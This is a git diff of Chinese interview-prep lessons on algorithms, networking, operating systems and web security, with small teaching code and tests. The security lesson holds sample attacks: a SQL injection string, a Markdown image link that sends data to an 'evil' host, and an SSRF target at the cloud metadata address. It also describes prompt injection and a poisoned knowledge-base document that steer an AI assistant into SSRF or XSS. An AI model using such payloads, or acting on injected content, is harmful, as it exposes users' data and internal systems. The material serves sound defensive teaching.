+ +```python +from patterns import edit_distance, top_k_frequent, topo_order + +hot = top_k_frequent((normalize(m.text) for m in messages), 20) + +order = topo_order({"index": ["embed"], "embed": ["chunk"], "chunk": ["parse"]}) +if order is None: + raise ValueError("任务配置存在循环依赖") + +def similar(a: str, b: str) -> bool: + if abs(len(a) - len(b)) > 2: # 先用长度剪枝 + return False + return edit_distance(a, b) <= max(1, len(a) // 10) +``` + +完整实现和测试:[examples/patterns](../examples/patterns/)。 + +## 取舍 + +| 选择 | 优点 | 缺点 | +| --- | --- | --- | +| **精确计数 + 堆(本方案)** | 结果准确 | 内存随不同问题数增长 | +| 近似算法(Count-Min Sketch 等) | 内存固定 | 有误差 | +| 编辑距离去重 | 适合错别字 | 识别不了同义改写,需要配合向量相似度 | + +## 易错点 + +- 没有规范化就计数,同一问题被拆成多个。 +- 对全部问题两两计算相似度,O(n²) 跑不完。 +- 去重阈值过松,把“退货”和“退款”合并(它们的编辑距离只有 1,但业务含义不同)——相似度只是候选,需要人工确认或结合业务规则。 + +## 面试怎么讲 + +> “运营后台的热门问题,我先做文本规范化,用哈希表计数加大小为 K 的堆取 Top K,复杂度 O(n log K),多实例用 Redis 有序集合汇总。导入任务的依赖用拓扑排序确定顺序并检测环。Bad Case 去重先精确去重,再按长度剪枝后算编辑距离,阈值只产生候选,避免把‘退货’和‘退款’这种只差一个字但意思不同的问题合并。” diff --git a/topics/cs/network-os/01-http-tcp.md b/topics/cs/network-os/01-http-tcp.md new file mode 100644 index 0000000..3900081 --- /dev/null +++ b/topics/cs/network-os/01-http-tcp.md @@ -0,0 +1,101 @@ +--- +id: cs.network-os.http-tcp +title: 网络基础:从输入 URL 到页面展示、TCP 握手挥手与粘包、HTTP/1.1 / 2 / 3、HTTPS、长连接与 SSE +type: lesson +domain: cs +stack: [network-os] +tags: [TCP, 三次握手, 四次挥手, TIME_WAIT, 粘包, HTTP/2, HTTP/3, HTTPS, TLS, DNS, keep-alive, SSE, WebSocket] +level: basic +prerequisites: [] +est_hours: 3 +related: [cs.network-os.os-basics, cs.network-os.scenario.connection-troubleshooting, devops.nginx.https-stream-limit] +week: [14, 16] +order: 1 +--- + +# 网络基础:从输入 URL 到页面展示、TCP 握手挥手与粘包、HTTP/1.1 / 2 / 3、HTTPS、长连接与 SSE + +> BOSS直聘 2026-10-23 的调研中有岗位提到计算机基础(网络 / 操作系统)。前端出身的你对 HTTP 和浏览器很熟,这里补齐 TCP 和服务端视角。 + +## 解释说明 + +### 从输入 URL 到页面展示(经典题,按层回答) + +1. **DNS 解析**:浏览器缓存 → 系统缓存 / hosts → 递归解析器 → 根 / 顶级域 / 权威服务器,得到 IP。 +2. **建立连接**:TCP 三次握手;HTTPS 再进行 TLS 握手(TLS 1.3 为 1 个往返);HTTP/3 基于 QUIC(UDP),连接和加密握手合并。 +3. **发送请求**,经过 CDN / 负载均衡 / 网关到达应用服务器。 +4. **服务器处理并响应**。 +5. **浏览器渲染**:解析 HTML 构建 DOM、CSS 构建 CSSOM、合成渲染树、布局、绘制、合成;遇到同步脚本会阻塞解析。 + +### TCP + +- **三次握手**:SYN → SYN+ACK → ACK。为什么是三次:双方都要确认“对方能收到我发的”,并同步初始序号;两次无法防止过期的连接请求被误建立。 +- **四次挥手**:FIN → ACK → FIN → ACK(因为一方关闭发送后,另一方可能还有数据要发)。 +- **TIME_WAIT**:主动关闭方等待 2MSL,确保最后的 ACK 能被重传、旧连接的报文消失。短连接高并发时,主动关闭方(常常是作为客户端的服务)会积累大量 TIME_WAIT —— 解决办法是**连接复用**(连接池、keep-alive),而不是盲目修改内核参数。 +- **可靠传输**:序号与确认、超时重传、滑动窗口(流量控制)、拥塞控制(慢启动、拥塞避免)。 +- **字节流,没有消息边界**:“粘包 / 拆包”是应用层没有定义边界导致的,要用分隔符或长度前缀解决(示例中实际演示)。 + +### HTTP 演进 + +| 版本 | 关键点 | +| --- | --- | +| HTTP/1.1 | 持久连接(keep-alive);一个连接同一时间只能处理一个请求(队头阻塞),浏览器对同域开多个连接 | +| HTTP/2 | 二进制分帧、多路复用(一个连接并发多个流)、头部压缩;TCP 层的丢包仍会阻塞所有流 | +| HTTP/3 | 基于 QUIC(UDP),解决 TCP 层队头阻塞,连接迁移(切换网络不断开) | + +### HTTPS + +TLS 用非对称加密(或密钥交换)协商出会话密钥,再用对称加密传输数据;证书由 CA 签名,客户端校验证书链和域名,防止中间人。 + +### 长连接推送:轮询、SSE、WebSocket + +| 方式 | 方向 | 适合 | +| --- | --- | --- | +| 轮询 | 客户端拉 | 简单、低频 | +| **SSE** | 服务器 → 客户端,基于普通 HTTP,文本事件,浏览器自动重连 | **大模型流式输出**(OpenAI 等接口都用它) | +| WebSocket | 双向,独立协议 | 聊天、协同编辑、实时语音 | + +## 案例 + +AI 对话接口用 SSE 流式返回:经过 Nginx 时要关闭缓冲;HTTP/1.1 下浏览器对同一域名的并发连接数有限(通常 6 个),用户开多个标签页时 SSE 连接可能占满,HTTP/2 下多路复用没有这个问题。 + +## 代码示例 + +[examples/tcp-basics](examples/tcp-basics/)(只用标准库): + +```text +$ python framing.py +发送方 send 了 3 次(每次 4 字节),接收方一次 recv 收到 12 字节 → 三条消息粘在一起,边界丢失 +长度前缀分帧:每次只读 3 字节,仍然还原出 3 条完整消息:['第0条', '第1条', '第2条'] +``` + +增量解码器(`test_framing.py` 用 100 种随机切分验证): + +```python +def feed(self, data: bytes) -> list[dict]: + self.buf += data + out = [] + while len(self.buf) >= HEADER.size: + (n,) = HEADER.unpack_from(self.buf) + if n > self.max_frame: + raise ValueError("帧长度超过上限") + if len(self.buf) < HEADER.size + n: + break + out.append(json.loads(bytes(self.buf[HEADER.size:HEADER.size + n]))) + del self.buf[:HEADER.size + n] + return out +``` + +## 易错点 + +- 认为一次 `send` 对应一次 `recv`。 +- 为了解决 TIME_WAIT 乱改内核参数,而不是复用连接。 +- 把 HTTP/2 的多路复用和 HTTP/1.1 的管线化混为一谈。 +- 不设置超时(连接超时、读超时),上游挂起时线程 / 协程被耗尽。 + +## 面试常问 + +- 从输入 URL 到页面展示发生了什么? +- 为什么 TCP 握手是三次、挥手是四次?TIME_WAIT 的作用? +- HTTP/1.1、2、3 的区别? +- SSE 和 WebSocket 的区别?大模型流式输出为什么常用 SSE? diff --git a/topics/cs/network-os/02-os-basics.md b/topics/cs/network-os/02-os-basics.md new file mode 100644 index 0000000..c05b41f --- /dev/null +++ b/topics/cs/network-os/02-os-basics.md @@ -0,0 +1,90 @@ +--- +id: cs.network-os.os-basics +title: 操作系统基础:进程线程协程、I/O 模型与多路复用、内存与虚拟内存、文件描述符、死锁 +type: lesson +domain: cs +stack: [network-os] +tags: [进程, 线程, 协程, GIL, I/O 多路复用, epoll, 虚拟内存, OOM, 文件描述符, 死锁] +level: basic +prerequisites: [cs.network-os.http-tcp] +est_hours: 3 +related: [python.asyncio.index, devops.linux.troubleshooting, cs.network-os.interview] +week: [14, 16] +order: 2 +--- + +# 操作系统基础:进程线程协程、I/O 模型与多路复用、内存与虚拟内存、文件描述符、死锁 + +## 解释说明 + +### 进程、线程、协程 + +| | 进程 | 线程 | 协程 | +| --- | --- | --- | --- | +| 资源 | 独立地址空间 | 共享进程的内存 | 共享线程 | +| 切换 | 内核,开销最大 | 内核,开销中等 | 用户态,开销最小 | +| 通信 | 管道、套接字、共享内存 | 共享变量 + 锁 | 共享变量(单线程内无需锁,但要注意 await 之间的状态变化) | +| 例子 | Gunicorn 多 worker | Java 线程池 | Go goroutine(多线程调度)、Python asyncio(单线程) | + +**Python 的 GIL**:同一进程中同一时刻只有一个线程执行 Python 字节码;I/O 密集用线程或 asyncio 都可以,CPU 密集用多进程(Python 3.13 起有可选的无 GIL 自由线程构建,3.14 起官方支持,生态仍在适配,以官方文档为准)。 + +### I/O 模型 + +- 阻塞 I/O:一个连接占一个线程。 +- **I/O 多路复用**(select / poll / **epoll**):一个线程监视大量文件描述符,内核告诉你哪些就绪。Nginx、Redis、Node.js、asyncio 都基于它。 +- 异步 I/O(io_uring 等):提交请求,完成后通知。 + +### 内存 + +- **虚拟内存**:每个进程看到独立的地址空间,由页表映射到物理内存;缺页时从磁盘加载。 +- 栈(函数调用、局部变量)和堆(动态分配)。 +- **OOM**:内存不足时内核选择进程杀掉;容器超过内存上限被 OOMKilled(退出码 137)。 + +### 文件描述符 + +Linux 中一切皆文件:文件、套接字、管道都是文件描述符(fd)。每个进程有上限(`ulimit -n`),连接泄漏会导致 “Too many open files”。 + +### 死锁 + +四个必要条件:互斥、持有并等待、不可抢占、循环等待。预防:固定加锁顺序、加锁超时、减小锁粒度。数据库中的死锁同理(两个事务以相反顺序更新两行)。 + +## 案例 + +Python Agent 服务用 Uvicorn(asyncio):大量请求在等待模型返回(I/O),单个进程就能支撑很多并发连接;但如果在请求处理中同步调用了一个耗时的 CPU 操作(例如解析大 PDF),整个事件循环被阻塞,所有请求都卡住 —— 应该放到进程池或单独的任务队列。 + +## 代码示例 + +单线程 + `selectors`(Linux 上为 epoll)同时服务 50 个连接([multiplex_server.py](examples/tcp-basics/multiplex_server.py),运行通过): + +```python +sel = selectors.DefaultSelector() +sel.register(srv, selectors.EVENT_READ, data=None) +while not stop.is_set(): + for key, _ in sel.select(timeout=0.05): + if key.data is None: # 新连接 + conn, _ = srv.accept() + conn.setblocking(False) + sel.register(conn, selectors.EVENT_READ, data="client") + else: # 已有连接可读 + data = key.fileobj.recv(1024) + ... +``` + +```text +$ python multiplex_server.py +单线程同时服务 50 个连接,全部回显正确 +``` + +## 易错点 + +- 在 asyncio 中调用阻塞函数(`time.sleep`、同步 HTTP 客户端、CPU 密集计算)。 +- 认为多线程一定能提升 Python 的 CPU 密集任务性能。 +- 连接、文件打开后不关闭,fd 耗尽。 +- 容器内存上限设得过小,进程被 OOMKilled 却在应用日志中找不到原因。 + +## 面试常问 + +- 进程、线程、协程的区别? +- 什么是 I/O 多路复用?epoll 相比 select 好在哪里? +- 什么是死锁?怎么避免? +- Python 的 GIL 是什么?对你的服务有什么影响? diff --git a/topics/cs/network-os/examples/tcp-basics/framing.py b/topics/cs/network-os/examples/tcp-basics/framing.py new file mode 100644 index 0000000..e8fd776 --- /dev/null +++ b/topics/cs/network-os/examples/tcp-basics/framing.py @@ -0,0 +1,92 @@ +"""TCP 是字节流:演示“粘包 / 拆包”现象,以及用“长度前缀”协议正确分帧。只用标准库,`python framing.py` 运行。 + +TCP 只保证字节按顺序可靠到达,不保留“消息边界”:发送方 send 了 3 次,接收方可能 1 次 recv 全部收到, +也可能把一条消息分成多次收到。应用层必须自己定义边界:换行分隔(如 SSE、JSON Lines)或长度前缀(如很多 RPC 协议)。 +""" +from __future__ import annotations + +import json +import socket +import struct +import threading + +HEADER = struct.Struct("!I") # 4 字节无符号整数,网络字节序(大端) + + +def encode(msg: dict) -> bytes: + body = json.dumps(msg, ensure_ascii=False).encode() + return HEADER.pack(len(body)) + body + + +class FrameDecoder: + """增量解码:不管数据被怎样切分送进来,都能还原出完整的消息。""" + + def __init__(self, max_frame: int = 1 << 20): + self.buf = bytearray() + self.max_frame = max_frame + + def feed(self, data: bytes) -> list[dict]: + self.buf += data + out = [] + while len(self.buf) >= HEADER.size: + (n,) = HEADER.unpack_from(self.buf) + if n > self.max_frame: + raise ValueError(f"帧长度 {n} 超过上限,可能是攻击或协议错误") + if len(self.buf) < HEADER.size + n: + break # 数据还不完整,等下一次 + body = bytes(self.buf[HEADER.size:HEADER.size + n]) + del self.buf[:HEADER.size + n] + out.append(json.loads(body)) + return out + + +def demo_sticky() -> int: + """连续 send 三次小消息,看接收端一次 recv 拿到几段。""" + srv = socket.create_server(("127.0.0.1", 0)) + port = srv.getsockname()[1] + received: list[bytes] = [] + + def server() -> None: + conn, _ = srv.accept() + with conn: + threading.Event().wait(0.2) # 等发送方把三条都发完 + received.append(conn.recv(4096)) + + t = threading.Thread(target=server) + t.start() + with socket.create_connection(("127.0.0.1", port)) as c: + for i in range(3): + c.sendall(f"msg{i}".encode()) + t.join() + srv.close() + return len(received[0]) + + +def demo_framed() -> list[dict]: + srv = socket.create_server(("127.0.0.1", 0)) + port = srv.getsockname()[1] + got: list[dict] = [] + + def server() -> None: + conn, _ = srv.accept() + dec = FrameDecoder() + with conn: + while chunk := conn.recv(3): # 故意每次只读 3 字节,模拟拆包 + got.extend(dec.feed(chunk)) + + t = threading.Thread(target=server) + t.start() + with socket.create_connection(("127.0.0.1", port)) as c: + c.sendall(b"".join(encode({"seq": i, "text": f"第{i}条"}) for i in range(3))) # 一次发出,模拟粘包 + t.join() + srv.close() + return got + + +if __name__ == "__main__": + n = demo_sticky() + note = "三条消息粘在一起,边界丢失" if n > 4 else "这次恰好没有粘包,但不能依赖这一点" + print(f"发送方 send 了 3 次(每次 4 字节),接收方一次 recv 收到 {n} 字节 → {note}") + msgs = demo_framed() + assert [m["seq"] for m in msgs] == [0, 1, 2], msgs + print(f"长度前缀分帧:每次只读 3 字节,仍然还原出 {len(msgs)} 条完整消息:{[m['text'] for m in msgs]}") diff --git a/topics/cs/network-os/examples/tcp-basics/multiplex_server.py b/topics/cs/network-os/examples/tcp-basics/multiplex_server.py new file mode 100644 index 0000000..b84f325 --- /dev/null +++ b/topics/cs/network-os/examples/tcp-basics/multiplex_server.py @@ -0,0 +1,54 @@ +"""I/O 多路复用:单线程用 selectors(Linux 上是 epoll)同时服务多个连接的回显服务器。只用标准库,`python multiplex_server.py` 运行自检。 + +对比“一个连接一个线程”:多路复用由内核告诉我们哪些连接可读,一个线程就能处理大量空闲连接。 +Nginx、Redis、Node.js、Python asyncio 的事件循环都建立在这个机制之上。 +""" +from __future__ import annotations + +import selectors +import socket +import threading + + +def serve(srv: socket.socket, stop: threading.Event) -> int: + sel = selectors.DefaultSelector() + srv.setblocking(False) + sel.register(srv, selectors.EVENT_READ, data=None) + max_clients = 0 + while not stop.is_set(): + for key, _ in sel.select(timeout=0.05): + if key.data is None: # 监听套接字可读 = 有新连接 + conn, _ = srv.accept() + conn.setblocking(False) + sel.register(conn, selectors.EVENT_READ, data="client") + max_clients = max(max_clients, len(sel.get_map()) - 1) + else: + conn = key.fileobj + data = conn.recv(1024) # type: ignore[union-attr] + if data: + conn.sendall(data.upper()) # type: ignore[union-attr] # 示例简化:小数据量下 sendall 不会阻塞太久 + else: # 对端关闭 + sel.unregister(conn) + conn.close() # type: ignore[union-attr] + sel.close() + return max_clients + + +if __name__ == "__main__": + srv = socket.create_server(("127.0.0.1", 0)) + port = srv.getsockname()[1] + stop = threading.Event() + result: list[int] = [] + t = threading.Thread(target=lambda: result.append(serve(srv, stop))) + t.start() + clients = [socket.create_connection(("127.0.0.1", port)) for _ in range(50)] # 50 个连接同时在线 + for i, c in enumerate(clients): + c.sendall(f"hi{i}".encode()) + replies = [c.recv(1024).decode() for c in clients] + for c in clients: + c.close() + stop.set() + t.join() + srv.close() + assert replies == [f"HI{i}" for i in range(50)] + print(f"单线程同时服务 {result[0]} 个连接,全部回显正确") diff --git a/topics/cs/network-os/examples/tcp-basics/test_framing.py b/topics/cs/network-os/examples/tcp-basics/test_framing.py new file mode 100644 index 0000000..dc12b2b --- /dev/null +++ b/topics/cs/network-os/examples/tcp-basics/test_framing.py @@ -0,0 +1,23 @@ +import random + +import pytest + +from framing import FrameDecoder, encode + + +def test_any_split_restores_messages(): + msgs = [{"seq": i, "text": "你好" * i} for i in range(20)] + stream = b"".join(encode(m) for m in msgs) + rng = random.Random(42) + for _ in range(100): # 随机切分 100 种方式 + dec, out, i = FrameDecoder(), [], 0 + while i < len(stream): + j = i + rng.randint(1, 17) + out += dec.feed(stream[i:j]) + i = j + assert out == msgs + + +def test_rejects_oversized_frame(): + with pytest.raises(ValueError): + FrameDecoder(max_frame=10).feed(encode({"text": "x" * 100})) diff --git a/topics/cs/network-os/index.md b/topics/cs/network-os/index.md index 9a41246..413c5a9 100644 --- a/topics/cs/network-os/index.md +++ b/topics/cs/network-os/index.md @@ -4,12 +4,34 @@ title: 网络与操作系统基础 type: index domain: cs stack: [network-os] -tags: [] +tags: [TCP, HTTP, HTTPS, 进程线程, I/O 多路复用] week: [14, 16] --- # 网络与操作系统基础 -HTTP/HTTPS、TCP/IP、DNS、进程线程、内存、IO 模型。 +HTTP/HTTPS、TCP、DNS、SSE 与 WebSocket;进程线程协程、I/O 多路复用、内存、文件描述符。BOSS直聘 2026-10-23 的调研中有岗位提到计算机基础。 -> 本专题建设中:课程、企业场景、面试题和示例代码会陆续补充。 +## 学习路线 + +| 顺序 | 课程 | 级别 | 预计 | +| --- | --- | --- | --- | +| 1 | [网络基础:从输入 URL 到页面展示、TCP 握手挥手与粘包、HTTP/1.1 / 2 / 3、HTTPS、长连接与 SSE](01-http-tcp.md) | 基础 | 3 小时 | +| 2 | [操作系统基础:进程线程协程、I/O 模型与多路复用、内存与虚拟内存、文件描述符、死锁](02-os-basics.md) | 基础 | 3 小时 | + +## 企业场景 + +- [线上连接问题排查:大量 TIME_WAIT、连接池耗尽、fd 用尽和事件循环阻塞](scenarios/connection-troubleshooting.md) + +## 面试题 + +- [网络与操作系统面试题](interview.md) + +## 示例代码 + +- [examples/tcp-basics](examples/tcp-basics/):粘包现象与长度前缀分帧(随机切分测试)、单线程 selectors 多路复用回显服务器(只用标准库) + +## 在 16 周计划中 + +- [第 14 周:后端扩展与部署](../../../plan/week14-backend-extend-deploy.md) +- [第 16 周:面试冲刺](../../../plan/week16-interview.md) diff --git a/topics/cs/network-os/interview.md b/topics/cs/network-os/interview.md new file mode 100644 index 0000000..c05bec8 --- /dev/null +++ b/topics/cs/network-os/interview.md @@ -0,0 +1,67 @@ +--- +id: cs.network-os.interview +title: 网络与操作系统面试题 +type: interview +domain: cs +stack: [network-os] +tags: [TCP, HTTP, HTTPS, 进程线程, I/O 多路复用, 面试] +level: basic +related: [cs.network-os.http-tcp, cs.network-os.os-basics] +week: [14, 16] +--- + +# 网络与操作系统面试题 + +## 基础 + +### 【基础】从输入 URL 到页面展示,发生了什么? + +**参考答案**:DNS 解析 → TCP 握手(HTTPS 再 TLS 握手)→ 发送 HTTP 请求,经 CDN / 负载均衡 / 网关到应用 → 服务器处理返回 → 浏览器解析 HTML / CSS 构建 DOM 和 CSSOM、布局、绘制、合成,执行脚本。 + +**追问**:哪些环节可以优化?→ DNS 预解析、连接复用、HTTP/2、CDN、压缩、缓存、关键资源预加载、减少阻塞脚本。 + +### 【基础】为什么 TCP 握手三次、挥手四次? + +**参考答案**:三次握手让双方都确认对方的收发能力并同步初始序号,同时防止过期的连接请求建立连接;挥手时一方发送 FIN 只表示自己不再发送,另一方可能还有数据要发,所以 ACK 和 FIN 分开发送。 + +**追问**:TIME_WAIT 有什么作用?→ 确保最后一个 ACK 丢失时能重传,并让旧连接的延迟报文在网络中消失,避免干扰新连接。 + +### 【基础】进程、线程、协程的区别? + +**参考答案**:进程是资源分配单位,独立地址空间;线程是调度单位,共享进程资源,由内核切换;协程在用户态调度,切换开销最小,适合大量 I/O 等待。 + +**追问**:Go 的 goroutine 和 Python 的协程有什么不同?→ goroutine 由 Go 运行时调度到多个系统线程上,可以利用多核,遇到阻塞自动切换;Python asyncio 协程运行在单线程事件循环中,需要显式 `await`,阻塞调用会卡住整个循环。 + +## 进阶 + +### 【进阶】HTTP/1.1、HTTP/2、HTTP/3 的区别? + +**参考答案**:1.1 有持久连接,但同一连接上请求串行(队头阻塞);2 使用二进制分帧和多路复用、头部压缩,但 TCP 丢包仍会阻塞全部流;3 基于 QUIC(UDP),解决传输层队头阻塞,握手更快,支持连接迁移。 + +**追问**:HTTP/2 下还需要合并资源、域名分片吗?→ 一般不需要,多路复用已经解决并发问题,域名分片反而增加连接开销。 + +### 【进阶】什么是 I/O 多路复用?epoll 为什么比 select 高效? + +**参考答案**:一个线程监视多个 fd,就绪时再处理。select 每次调用都要把全部 fd 拷贝到内核并线性扫描,且有数量上限;epoll 在内核中维护关注列表,就绪的 fd 通过回调放入就绪队列,只返回就绪的,适合大量连接。 + +**追问**:水平触发和边缘触发?→ 水平触发:只要还可读就一直通知;边缘触发:状态变化时只通知一次,必须一次读完,否则可能丢失通知。 + +### 【进阶】什么是粘包?怎么解决? + +**参考答案**:TCP 是字节流,没有消息边界,多条消息可能合并或被拆分到达。应用层定义边界:固定长度、分隔符(换行,如 SSE、JSON Lines)、长度前缀;接收方用缓冲区增量解析。 + +**追问**:长度前缀协议要注意什么安全问题?→ 限制最大帧长度,防止恶意的超大长度值导致内存耗尽。 + +## 场景题 + +### 【场景题】服务调用下游时出现大量 TIME_WAIT 和 “Cannot assign requested address”,怎么处理? + +**参考答案**:这是作为主动关闭方的短连接过多、本地端口耗尽。根本办法是复用连接(共享 HTTP 客户端、连接池、keep-alive);同时检查超时设置和并发上限;内核参数调整只作为辅助。详见[连接问题排查](scenarios/connection-troubleshooting.md)。 + +**追问**:怎么确认修复有效?→ 压测对比 TIME_WAIT 数量、建连次数和 P99 延迟。 + +### 【场景题】异步 Python 服务中所有请求(包括健康检查)同时变慢,可能是什么原因? + +**参考答案**:事件循环被阻塞:在协程中执行了同步 I/O 或 CPU 密集操作。排查:开启 asyncio 调试模式查看慢回调、采样分析器定位;修复:使用异步客户端、把 CPU 任务放到进程池或任务队列。 + +**追问**:为什么健康检查也慢?→ 它和其他请求运行在同一个事件循环中,循环被占用时所有协程都得不到调度。 diff --git a/topics/cs/network-os/scenarios/connection-troubleshooting.md b/topics/cs/network-os/scenarios/connection-troubleshooting.md new file mode 100644 index 0000000..cf41e75 --- /dev/null +++ b/topics/cs/network-os/scenarios/connection-troubleshooting.md @@ -0,0 +1,84 @@ +--- +id: cs.network-os.scenario.connection-troubleshooting +title: 线上连接问题排查:大量 TIME_WAIT、连接池耗尽、fd 用尽和事件循环阻塞 +type: scenario +domain: cs +stack: [network-os, linux, fastapi] +tags: [TIME_WAIT, 连接池, 文件描述符, 事件循环阻塞, 超时, 排查] +level: intermediate +prerequisites: [cs.network-os.http-tcp, cs.network-os.os-basics] +est_hours: 2 +related: [cs.network-os.interview, devops.linux.scenario.incident-troubleshooting] +week: [14, 16] +--- + +# 线上连接问题排查:大量 TIME_WAIT、连接池耗尽、fd 用尽和事件循环阻塞 + +## 业务背景与问题 + +AI Agent 服务(FastAPI)高峰期偶发大量超时,日志中出现: + +- 调用模型网关报 “Cannot assign requested address”; +- 偶尔出现 “Too many open files”; +- 所有请求的延迟同时变高,包括健康检查。 + +## 约束 + +- 不能停机排查。 +- 运维只给了容器内的只读排查权限。 + +## 方案设计 + +1. **看连接状态**:`ss -s`、`ss -tan state time-wait | wc -l` 发现几万个 TIME_WAIT,目标都是模型网关 → 代码中每次请求都新建 `httpx.AsyncClient`,用完就关闭,没有复用连接。**修复**:应用级共享一个客户端(连接池),设置池大小和 keep-alive。 +2. **看 fd**:`ls /proc//fd | wc -l` 与 `ulimit -n` 对比 → 文件上传后临时文件没有关闭。**修复**:使用 `with` 管理资源;在监控中加入 fd 数量。 +3. **看事件循环**:所有请求同时变慢,说明事件循环被阻塞 → 用 asyncio 调试模式 / 采样分析发现同步的 PDF 解析。**修复**:移到进程池(`run_in_executor`)或任务队列。 +4. **超时与隔离**:所有外部调用设置连接超时和读超时;对模型网关设置并发上限(信号量),防止一个慢依赖耗尽所有资源。 +5. **验证**:压测对比修复前后的 TIME_WAIT 数量、fd 数量、P99 延迟。 + +## 关键代码 + +```python +from contextlib import asynccontextmanager + +import httpx +from fastapi import FastAPI + +@asynccontextmanager +async def lifespan(app: FastAPI): + # 整个应用共享一个客户端:复用 TCP / TLS 连接 + app.state.llm = httpx.AsyncClient( + base_url=LLM_GATEWAY, + timeout=httpx.Timeout(connect=3, read=60, write=10, pool=5), + limits=httpx.Limits(max_connections=100, max_keepalive_connections=20), + ) + yield + await app.state.llm.aclose() + +app = FastAPI(lifespan=lifespan) + +@app.post("/parse") +async def parse(file: UploadFile): + data = await file.read() + loop = asyncio.get_running_loop() + return await loop.run_in_executor(process_pool, parse_pdf, data) # CPU 密集任务不阻塞事件循环 +``` + +相关原理:[网络基础](../01-http-tcp.md)、[操作系统基础](../02-os-basics.md);Linux 排查命令见 [Linux 线上排查](../../../devops/linux/scenarios/incident-troubleshooting.md)。 + +## 取舍 + +| 选择 | 优点 | 缺点 | +| --- | --- | --- | +| **复用连接(本方案)** | 根治 TIME_WAIT,同时降低延迟(省去握手) | 要管理客户端生命周期 | +| 调整内核参数(端口范围、TIME_WAIT 复用) | 立刻见效 | 治标不治本,有副作用,容器内往往无权限 | +| 增加实例 | 简单 | 掩盖问题,成本上升 | + +## 易错点 + +- 看到 TIME_WAIT 就认为是服务器的问题——它出现在主动关闭的一方。 +- 共享的客户端没有设置池上限,慢依赖拖垮整个服务。 +- 只设置了总超时,没有区分连接超时和读超时(流式响应的读超时要考虑 token 间隔)。 + +## 面试怎么讲 + +> “Agent 服务高峰期出现‘Cannot assign requested address’,用 ss 看到几万个 TIME_WAIT 指向模型网关,原因是每次请求新建 HTTP 客户端。改成应用级共享客户端并配置连接池和分阶段超时后,TIME_WAIT 基本消失,延迟也下降了。另外发现同步 PDF 解析阻塞事件循环,导致所有请求同时变慢,移到进程池解决。修复后用压测对比了连接数、fd 数和 P99。” diff --git a/topics/cs/web-security/01-xss-csrf-sqli-cors-ssrf.md b/topics/cs/web-security/01-xss-csrf-sqli-cors-ssrf.md new file mode 100644 index 0000000..a4fb56d --- /dev/null +++ b/topics/cs/web-security/01-xss-csrf-sqli-cors-ssrf.md @@ -0,0 +1,81 @@ +--- +id: cs.web-security.common-attacks +title: Web 安全基础:XSS、CSRF、SQL 注入、CORS、SSRF 的原理、防御和在 AI 应用中的新形态 +type: lesson +domain: cs +stack: [web-security] +tags: [XSS, CSRF, SQL 注入, CORS, SSRF, CSP, SameSite, 参数化查询, OWASP] +level: basic +prerequisites: [cs.network-os.http-tcp] +est_hours: 3 +related: [cs.web-security.scenario.ai-app-security, ai.prompt-engineering.scenario.injection-defense, cs.web-security.interview] +week: [7, 14, 16] +order: 1 +--- + +# Web 安全基础:XSS、CSRF、SQL 注入、CORS、SSRF 的原理、防御和在 AI 应用中的新形态 + +> BOSS直聘 2026-10-23 的调研中有岗位提到 Web 安全基础。AI 应用让老问题出现了新入口:模型输出可能包含恶意 HTML(XSS),Agent 的抓取工具可能被诱导访问内网(SSRF),用户输入可能拼接进模型生成的 SQL。参考:OWASP Top 10(https://owasp.org/www-project-top-ten/)。 + +## 解释说明 + +| 攻击 | 原理 | 防御 | +| --- | --- | --- | +| **XSS**(跨站脚本) | 攻击者的脚本被当作页面的一部分执行,可以窃取数据、冒充用户操作 | 输出时按上下文转义(框架默认转义,慎用 `v-html` / `dangerouslySetInnerHTML`);富文本用白名单清洗;CSP;Cookie 设 HttpOnly | +| **CSRF**(跨站请求伪造) | 用户已登录,恶意网站让浏览器带着 Cookie 向目标站点发请求 | Cookie `SameSite=Lax/Strict`;CSRF Token(同步令牌或双重提交);校验 Origin;改变状态的操作不用 GET | +| **SQL 注入** | 用户输入被拼接成 SQL 执行 | **参数化查询**;ORM;最小权限的数据库账号;不能参数化的部分(表名、排序字段)用白名单 | +| **CORS 配置错误** | CORS 是浏览器放宽同源策略的机制;配置成“任意来源 + 允许凭证”或反射请求的 Origin,等于允许任何网站读取用户数据 | 来源白名单;带凭证时不能用 `*`;只开放需要的方法和请求头 | +| **SSRF**(服务端请求伪造) | 诱导服务器访问内网地址(数据库、管理接口、云元数据 `169.254.169.254`) | 协议白名单;解析域名后检查所有 IP 是否为公网;禁止或逐跳校验重定向;网络层出口限制 | + +**注意**:CORS 不是安全防护,而是对同源策略的“放宽”;服务端仍然必须做鉴权。CORS 也不能防 CSRF(简单请求照样会发出,只是读不到响应)。 + +### AI 应用中的新形态 + +- 模型输出渲染成 HTML / Markdown 时的 XSS:Markdown 中的原始 HTML、`javascript:` 链接、图片链接外带数据(`![](https://evil/?q=敏感信息)`)。 +- 提示词注入诱导 Agent 调用工具:抓取内网地址(SSRF)、执行越权操作。见[提示词注入防护](../../ai/prompt-engineering/scenarios/injection-defense.md)。 +- Text-to-SQL:模型生成的 SQL 要用只读账号、白名单表、限制行数,并在执行前做语法分析。 + +## 案例 + +AI 客服页面把模型回答作为 Markdown 渲染。有人在知识库文档中埋入 ``,模型在回答中原样引用,所有看到回答的用户都执行了这段脚本。修复:渲染前清洗(禁用原始 HTML,过滤危险协议的链接)、CSP 禁止内联脚本、会话 Cookie 设 HttpOnly。 + +## 代码示例 + +[examples/secure-api](examples/secure-api/)(FastAPI + sqlite3,13 个测试通过;每类问题都先证明“错误写法可被利用”,再证明“正确写法能防住”): + +```python +# SQL 注入:拼接 vs 参数化 +db.execute(f"... WHERE tenant = '{tenant}' AND id LIKE '%{keyword}%'") # keyword = "x' OR 1=1 --" 读到其他租户 +db.execute("... WHERE tenant = ? AND id LIKE ?", (tenant, f"%{keyword}%")) # 安全 + +# SSRF:解析后检查所有 IP +for info in socket.getaddrinfo(host, port): + if not ipaddress.ip_address(info[4][0]).is_global: + raise ValueError("禁止访问内网地址") +``` + +CORS 白名单 + CSRF 双重提交: + +```python +app.add_middleware(CORSMiddleware, allow_origins=["https://app.example.com"], allow_credentials=True, ...) + +if not secrets.compare_digest(csrf_cookie, x_csrf_token): # 跨站页面读不到 csrf_token Cookie,无法设置请求头 + raise HTTPException(403, "CSRF 校验失败") +``` + +## 易错点 + +- 只在前端校验输入。 +- 用黑名单过滤 XSS(`replace("") + print("自检通过:拼接 SQL 被注入读到了 t2 的数据,参数化查询没有;XSS 输出已转义") diff --git a/topics/cs/web-security/examples/secure-api/test_secure_app.py b/topics/cs/web-security/examples/secure-api/test_secure_app.py new file mode 100644 index 0000000..a7fa112 --- /dev/null +++ 